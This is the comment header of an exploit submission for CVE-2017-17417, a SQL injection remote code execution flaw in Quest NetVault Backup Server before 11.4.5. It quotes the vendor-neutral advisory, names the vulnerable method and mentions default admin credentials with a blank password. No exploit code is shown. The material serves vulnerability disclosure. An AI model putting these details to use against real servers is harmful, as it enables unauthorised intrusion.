Quest NetVault Backup Server Code Execution / SQL Injection

`# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)  
# Date: 2-21-2019  
# Exploit Author: credit goes to rgod for finding the bug  
# Version: Quest NetVault Backup Server < 11.4.5  
# CVE : CVE-2017-17417  
  
# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/   
# but no PoC, hence this submission. Also the description states that authentication is not required.  
# I did not find the auth bypass, but the target was using default credz  
# of admin and a blank password.  
#  
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations   
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.  
#   
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests.   
# The issue results from the lack of proper validation of a  
# user-supplied string before using it to construct SQL queries. An attacker can leverage this   
# vulnerability to execute code in the context of the underlying database."
